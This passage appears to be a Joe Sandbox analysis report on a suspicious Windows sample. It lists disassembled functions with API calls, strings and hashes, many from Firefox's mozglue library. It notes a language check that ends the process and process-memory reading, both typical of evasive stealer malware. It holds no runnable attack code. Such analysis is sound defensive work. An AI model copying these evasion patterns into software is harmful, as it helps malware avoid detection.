
Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a03f1e33d619c2c61417d7a8edb735380c0353833c0dc6520e0c3a6d5c7f8a9a
Instruction ID: 5bf86ee99627fc9f240712823996c0c8f8972eba5842e3790b140bb5fca4776d
Opcode Fuzzy Hash: a03f1e33d619c2c61417d7a8edb735380c0353833c0dc6520e0c3a6d5c7f8a9a
Instruction Fuzzy Hash: 7851C471D052099BDB20DF68CA406EEB7B1AF5E318F44882DE85577B80E730A949C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C95A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95A565

Part of subcall function 6C95A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95A4BE
Part of subcall function 6C95A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C95A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C95A6B6

Strings

0, xrefs: 6C95A5FB
z, xrefs: 6C95A6AE

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: e7d6000c191b1e052d916b8b408e4eb72655baaae15a51738bcfb07d3c52a40c
Instruction ID: fe7380cb5a6a473c8490e03d038af36c773260d891d9bd656548681b436c91cf
Opcode Fuzzy Hash: e7d6000c191b1e052d916b8b408e4eb72655baaae15a51738bcfb07d3c52a40c
Instruction Fuzzy Hash: 834139719097499FC341DF28C080A9FBBE5BFC9354F808A2EF49987690EB30D559CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00418843 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041884F

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__amsg_exit.LIBCMT ref: 0041886F
__lock.LIBCMT ref: 0041887F
InterlockedDecrement.KERNEL32(?), ref: 0041889C
_free.LIBCMT ref: 004188AF
InterlockedIncrement.KERNEL32(00423530), ref: 004188C7

Strings

05B, xrefs: 004188B5, 004188BD

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: 05B
API String ID: 3470314060-3788103304
Opcode ID: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction ID: f16d68fd9582ac4125616c5e50f94de62243aa4c7be40d45a23fde697d24a6fa
Opcode Fuzzy Hash: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction Fuzzy Hash: 4501AD32A05621ABD720BF6A98057CA7770AF04725F90402FF810A3390CB7CA9C2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 6C929420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C91AB89: EnterCriticalSection.KERNEL32(6C96E370,?,?,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB94
Part of subcall function 6C91AB89: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8F4A68), ref: 6C92945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C929470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C929482
__Init_thread_footer.LIBCMT ref: 6C92949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C92946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C929459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C92947D

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: c5647ff1cd4e739dce21ca04351e66144af502e519358b050ba2df178fed883f
Instruction ID: 19f2b2155092049dc76097a56a5922997b5edea7c4a124075ad993848965ec7c
Opcode Fuzzy Hash: c5647ff1cd4e739dce21ca04351e66144af502e519358b050ba2df178fed883f
Instruction Fuzzy Hash: 35014C30A0811187FF009B6FD825B653378AB4632DF15053BEC4686FC1DB35D9548957

Uniqueness

Uniqueness Score: -1.00%

Function 00413430 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434
ExitProcess.KERNEL32 ref: 00413465
ExitProcess.KERNEL32 ref: 0041346F
ExitProcess.KERNEL32 ref: 00413479
ExitProcess.KERNEL32 ref: 00413483
ExitProcess.KERNEL32 ref: 0041348D

Strings

*, xrefs: 0041344C

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction ID: 75b540bad49881e9417c8f8c63d74940121d586cf5f959f7794e893d96f52075
Opcode Fuzzy Hash: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction Fuzzy Hash: 4BF05830508608EFE364EFE0EF0976CBBB1EB8E703F001195E60A86290CA744A119B65

Uniqueness

Uniqueness Score: -1.00%

Function 6C8EB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB6AC

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C8EB61E), ref: 6C8EB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C8EB61E,?,?,?,?,?,00000000), ref: 6C8EB79A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 16549bf38dd473bb1c8850bbc7fea7e32b13e3e8a84685e418dca00faf6cac40
Instruction ID: 66cd07acdb438421467695fbf987f37652212e28a7044141d98c7d5d267c916c
Opcode Fuzzy Hash: 16549bf38dd473bb1c8850bbc7fea7e32b13e3e8a84685e418dca00faf6cac40
Instruction Fuzzy Hash: 0F41D7B2D002199FCB10DE69DD805BEB7B5FF5A320B250A29E825E7790E731E9108BD5

Uniqueness

Uniqueness Score: -1.00%

Function 6C95B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C95B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C95B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C95B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C95B5F4
__Init_thread_footer.LIBCMT ref: 6C95B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C95B61F
std::_Facet_Register.LIBCPMT ref: 6C95B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95B655

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9ca5e8ee16262bb505f6ab1a84885399f299c685fe80157f76970624f8e7cf20
Instruction ID: 8dc1e70d59da313b39d447bc4e62760f4375a5a974ac42ce332ec51b1b57aacc
Opcode Fuzzy Hash: 9ca5e8ee16262bb505f6ab1a84885399f299c685fe80157f76970624f8e7cf20
Instruction Fuzzy Hash: D231A6B2B04114CBDB04DB6AC8689BEB7B5FF9A364B640519E501D77C0DB30E916CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00413BC0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00413BDF
??_U@YAPAXI@Z.MSVCRT ref: 00413C0D

Part of subcall function 00413890: strlen.MSVCRT ref: 004138A1
Part of subcall function 00413890: strlen.MSVCRT ref: 004138C5

VirtualQueryEx.KERNEL32(00413FCD,00000000,?,0000001C), ref: 00413C52
??_V@YAXPAX@Z.MSVCRT ref: 00413D73

Part of subcall function 00413AA0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00413AB8

Strings

Z>A, xrefs: 00413C38, 00413C3B
@, xrefs: 00413C66

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @$Z>A
API String ID: 2950663791-2427737632
Opcode ID: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction ID: 18b3d1c53e1ab9283c7d4f20bb5e0d2682d9205760932c7229ac25ba092b9e39
Opcode Fuzzy Hash: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction Fuzzy Hash: 2851F9B5D00109ABDB04CF98E981AEFB7B5FF88305F108119F919A7340D738AA51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6C931D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C931D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C931BE3,?,?,6C931D96,00000000), ref: 6C931D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C931BE3,?,?,6C931D96,00000000), ref: 6C931D4C
GetCurrentThreadId.KERNEL32 ref: 6C931DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C931DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C931DDA

Part of subcall function 6C931EF0: GetCurrentThreadId.KERNEL32 ref: 6C931F03
Part of subcall function 6C931EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C931DF2,00000000,00000000), ref: 6C931F0C
Part of subcall function 6C931EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C931F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C931DF4

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 511b6d32181e63b7037463ec8415b4bbb35c1f303b8ec3232fb207482d0b1729
Instruction ID: 96b024e797a4b2b2af9f19793a84a34dee0fddca3829a3b2db35332bf5b7e459
Opcode Fuzzy Hash: 511b6d32181e63b7037463ec8415b4bbb35c1f303b8ec3232fb207482d0b1729
Instruction Fuzzy Hash: 6D418AB52047049FDB10CF29C488A66BBF9FF8A314F20446EE95A87B91DB31F854CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C9284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C92850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C92851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C92855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C92856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9285AC

Part of subcall function 6C927670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C92767F
Part of subcall function 6C927670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C927693
Part of subcall function 6C927670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9285B2

Part of subcall function 6C905E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C905EDB
Part of subcall function 6C905E90: memset.VCRUNTIME140(6C947765,000000E5,55CCCCCC), ref: 6C905F27
Part of subcall function 6C905E90: LeaveCriticalSection.KERNEL32(?), ref: 6C905FB2

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 60364ea1c7df31d42ce6fec83be7ab01c4a3f34c74841a66c1fbc71f82539db1
Instruction ID: e878e1d92e0faa99cc4c5e9cd104796813967a73440adcbc611f8a6b103c1f6b
Opcode Fuzzy Hash: 60364ea1c7df31d42ce6fec83be7ab01c4a3f34c74841a66c1fbc71f82539db1
Instruction Fuzzy Hash: 6721A0712006019FEF18DB25C888E6A77B9AF4430CF24082EE58BC3B41DB35E948CB55

Uniqueness

Uniqueness Score: -1.00%

Function 6C92F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C91CBE8: GetCurrentProcess.KERNEL32(?,6C8E31A7), ref: 6C91CBF1
Part of subcall function 6C91CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8E31A7), ref: 6C91CBFA

Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8F4A68), ref: 6C92945E
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C929470
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C929482
Part of subcall function 6C929420: __Init_thread_footer.LIBCMT ref: 6C92949F

GetCurrentThreadId.KERNEL32 ref: 6C92F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C92F598), ref: 6C92F621

Part of subcall function 6C9294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9294EE
Part of subcall function 6C9294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C929508

GetCurrentThreadId.KERNEL32 ref: 6C92F637
AcquireSRWLockExclusive.KERNEL32(6C96F4B8,?,?,00000000,?,6C92F598), ref: 6C92F645
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8,?,?,00000000,?,6C92F598), ref: 6C92F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C92F62A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 9139a924217a0a8d7f3e05c33ec53064fe3a977cd45f4da63192863053a175ba
Instruction ID: 352e9eba0befe9397b5b5b6f47f0c9789da2861ee53c03531ba0fa012ae908a2
Opcode Fuzzy Hash: 9139a924217a0a8d7f3e05c33ec53064fe3a977cd45f4da63192863053a175ba
Instruction Fuzzy Hash: 6711C171219214ABEB00AF1AC948EB5777DFB9675CB200019FA4683F81DB35E825CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C91AB89: EnterCriticalSection.KERNEL32(6C96E370,?,?,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB94
Part of subcall function 6C91AB89: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C91D9F0,00000000), ref: 6C8F0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C8F0F3C
__Init_thread_footer.LIBCMT ref: 6C8F0F50
FreeLibrary.KERNEL32(?,6C91D9F0,00000000), ref: 6C8F0F86

Strings

CoInitializeEx, xrefs: 6C8F0F36
combase.dll, xrefs: 6C8F0F18

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: ce754803eca88201e6a0084ce66c219179d015c4e4143e53d48c801e72b9ee21
Instruction ID: d0f28bda0eceda86ae9bf5ccd69e9dab4c7e7a3e3f94c5e18964021e125352b6
Opcode Fuzzy Hash: ce754803eca88201e6a0084ce66c219179d015c4e4143e53d48c801e72b9ee21
Instruction Fuzzy Hash: 1311517470D2409FFF10CF56CA18B753774FB8A369B20461EE91592AC1E730D806DA56

Uniqueness

Uniqueness Score: -1.00%

Function 6C92F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8F4A68), ref: 6C92945E
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C929470
Part of subcall function 6C929420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C929482
Part of subcall function 6C929420: __Init_thread_footer.LIBCMT ref: 6C92949F

GetCurrentThreadId.KERNEL32 ref: 6C92F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92F561

Part of subcall function 6C9294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9294EE
Part of subcall function 6C9294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C929508

GetCurrentThreadId.KERNEL32 ref: 6C92F577
AcquireSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92F585
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C92F56A
[I %d/%d] profiler_resume, xrefs: 6C92F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C92F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C92F3A8

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f0b5aa139f0953091121473cc1e28adb64c91a73579a4f09aa2105eabd18f668
Instruction ID: adf3bddd84491902c14afbc3fc6b46a6885ea17c74f680941dc5b667504efed0
